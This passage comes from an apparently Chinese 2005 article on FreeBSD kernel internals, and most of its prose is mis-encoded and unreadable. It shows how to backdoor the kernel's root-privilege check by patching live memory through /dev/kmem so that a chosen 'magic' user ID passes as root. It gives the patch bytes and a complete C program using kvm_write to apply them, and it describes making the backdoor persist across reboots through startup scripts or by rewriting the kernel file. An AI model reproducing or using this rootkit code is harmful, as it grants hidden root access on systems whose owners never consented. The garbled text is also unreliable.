FreebsdÄÚºËÄ£¿éÔ´ÂëʵÏÖÒÔ¼°Ó¦ÓÃÌ½ÃØ |
| ʱ¼ä£º2005-11-25 10:43:19 À´Ô´£º ×÷Õߣº |
nbsp; return (EPERM); } if (!cred) cred = proc->p_ucred; if (cred->cr_uid != 0) ///------------------------------------| return (EPERM); if (proc && proc->p_prison && !(flag & PRISON_ROOT)) return (EPERM); if (proc) proc->p_acflag |= ASU; return (0); }
³ý·ÇÄãÊÇÒ»¸öassembler person ,Ç뿴һϣ¬Äã¿ÉÒÔ×¢Òâµ½%eax´æÖü×Åcred ,%edx ´æ´¢×Åproc ½á¹¹£¬»ù±¾ÎÒÃÇÏë¸Ä³ÉÕâÑù
if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID)) return (EPERM);
ÏÖÔÚÎÒÃÇÒªÕÒÒ»¸öµØ·½È¥´æ·ÅÉÏÃæµÄ´úÂ룬ÓÃprintfµÄµØÖ·°É£¬printfµÄ×÷ÓþÍÊÇÔÚsuser_xxxÔÚ±»´íÎóµ÷ÓÃʱ²ÅÓÐÓã¬ÏÖÔÚÎÒÃǼÙÉè ûÓÐÈË×Ðϸ¿´×ÅËüµÄÆÁÄ»£»£©£¬¿´¿´»ã±à´úÂëÖУ¬ËùÓдíÎóµÄ·µ»Ø¶¼ÊÇÕâÑù °ÑEPERM =1 ·Åµ½ %eax ÖÐc019d553: mov $0x1,%eax ¿´Ò»ÏÂuid=!0µÄ²âÊÔ£¬Ìø×ªµ½c019d553.
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) c019d569: 75 e8 jne c019d553 //75 ±íʾ jne ÏòÉÏÌø×ªµ½Æ«ÒÆe8£¬e8ÊǸö¸ºÊý-16
ÎÒÃÇ¿´Ò»ÏÂÎÒÃǽ«Òª·ÅÖÃдúÂëµÄprintf´¦ £¨10¸ö×Ö½Ú£© c019d549: 68 90 df 36 c0 push $0xc036df90 c019d54e: e8 5d db 00 00 call c01ab0b0 ÏÖÔÚÎÒÃÇÐèÒªÐÞ¸ÄÌø×ªµØÖ· 75 ±íʾ jne ÏòÉÏÌø×ªµ½Æ«ÒÆe8£¬e8ÊǸö¸ºÊý-16
ÏÖÔÚÎÒÃǾÍÒªÐÞ¸ÄprintfµØÖ·µÄ´úÂë²¢Ìí¼ÓÎÒÃÇ×Ô¼ºµÄcheckÁË£¨cred->cr_uid != MAGIC_UID£© Ê×ÏÈÎÒÃÇÓà jmp 0x7(À´Ìø¹ýÕâ¸ö ¼ì²é£©µ±Ëü±»¡°Õý³£µ÷ÓÃʱ¡°²»³ö´í£¬¾ÍÊÇÔÚ(!cred && !proc)µÄ²âÊÔÖУ¬È»ºóÌí¼ÓÎÒÃǵļìÑé´úÂë jmp 0x07 eb 07 /* Ìø¹ý¼ì²é */ cmpl $magic,0x4(%eax) 83 78 04 magic /* ¼ì²ìMAGIC_UID */ je 0x39 74 39 /* Ìøµ½½áÊø */ nop 90 /* ÓÃÀ´Ìî³äµÄ×Ö½Ú */ nop 90
ÏÖÔÚÐÞ¸Ä c019d569 µØÖ·³öµÄ 75 e8 Ϊ 75 e0£¨ºóÍË8¸ö×Ö½Ú£© ʵ¼ÊÌø×ªµ½ÁËcmpl $magic,0x4(%eax) ÕâÀïÀ´Ö´ÐÐ ÎÒÃǰÑËüÕûºÏµ½Ò»¿é£¬ÎÒµÄÌØ¶¨µÄMAGIC_UID=100£» #include #include #include #include #include
#define MAGIC_ADDR 0xc019d549 #define MAKE_OR_ADDR 0xc019d569
unsigned char magic[] = "xebx07" /* jmp 06 */ "x83x78x04x00" /* cmpl $magic,0x4(%eax) */ "x74x39" /* je to end */ "x90x90" /* filling nop */ ;
unsigned char makeor[] = "x75xe0"; /* jne e0 */
int main(int argc, char **argv) {
char errbuf[_POSIX2_LINE_MAX]; long diff; kvm_t *kd; u_int32_t magic_addr = MAGIC_ADDR; u_int32_t makeor_addr = MAKE_OR_ADDR;
kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf); if(kd == NULL) { fprintf(stderr,"ERROR: %sn",errbuf); exit(-1); }
if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) { fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); exit(-1); }
if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) { fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); exit(-1); }
if(kvm_close(kd) < 0) { fprintf(stderr,"ERROR: %sn",kvm_geterr(kd)); exit(-1); }
exit(0); } ÔÚdirect/fix_suser_xxx.c ¿ÉÄÜÄã»á¼ûµ½Çá΢µÄ¸Ä¶¯ £¬ËüÒªÇóuid<256
ÏÖÔÚÄã¿ÉÒÔcopy /sbin/ping µ½ÄãµÄĿ¼Ï²âÊÔһϣº£©
5.Ô½¹ýÖØÆô
ÏÔÈ»µ±ÖØÆôºóÎÒÃǵÄÄ£¿é½±²»ÄÜÔÚʹÓã¬ËùÒÔÎÒÃÇ¿ÉÒÔ°ÑÎÒÃǵÄÄ£¿éÆô¶¯sh½Å±¾·ÅÔÚ/usr/local/etc/rc.d/ £¨Õâ¸öĿ¼¿ÉÒԸıäͨ¹ý rc.conf£º£©,Æäʵ·ÅÔÚloader.confÒ²²»´í£©µ±È»±ØÐ밲ȫ¼¶±ðµ÷Õû֮ǰִÐС£ Èç¹ûÄãͨ¹ýÉÏÃæµÄ/dev/kmemÖ±½Ó¸Ä±äÁËÄں˵ĴúÂë,Äã¿ÉÒÔ°ÑÕâЩ¸Ä±äÖ±½Óд½ø/kernel(hu,hu),ÎÒûÓвéelfµÄÏà¹ØÎĵµ£¬µ«ÊÇ¿´ÉÏ È¥ÖØ¶¨ÏòµØÖ·Ó¦¸ÃÊÇ/kernelÄ򵀮«ÒÆ+0xc0100000,ÔÚÄãдÄãµÄÄÚºËʱ£¬Çë²âÊÔÏÈ¡£ÔÚdirect/fix_suser_xxx_kernel.c ÓиöͬÑù µÄÀý×Ó¡£
6. ʵս
ÔÚÏÈǰµÄÀý×ÓÖУ¬ËùÓеķûºÅµØÖ·¶¼À´×Ô/dev/kmem,µ«ÊÇËüÈ·Çеijö´¦ÔÚÄÄÀïÄØ£¿ËüÔÚÄÚºËÖо³£±ä»¯¡£ÕâЩ·ûºÅ´æ´¢ÔÚelf hash ±í ÀïÃæ£¬Ã¿¸öÁ¬ÈëÄں˵ÄÎļþ£¨object£©¶¼ÓÐËü×Ô¼ºµÄ·ûºÅ±í£¬ÔÚexp/symtable.c ÓиöÀý×Ó ËüÔÚlinker_files¶ÓÁÐÖвéÕÒµÚÒ»¸ö ÃüÃûΪkernelµÄÌõÄ¿£¬º¯ÊýÃû±»hashÁË£¬²¢±»ÖØÐ»ñµÃ£¬·ûºÅÕÒµ½Ö®ºóËüµÄvalue¾Í¿ÉÒԸıäÁË¡
|
|
|
|
|
|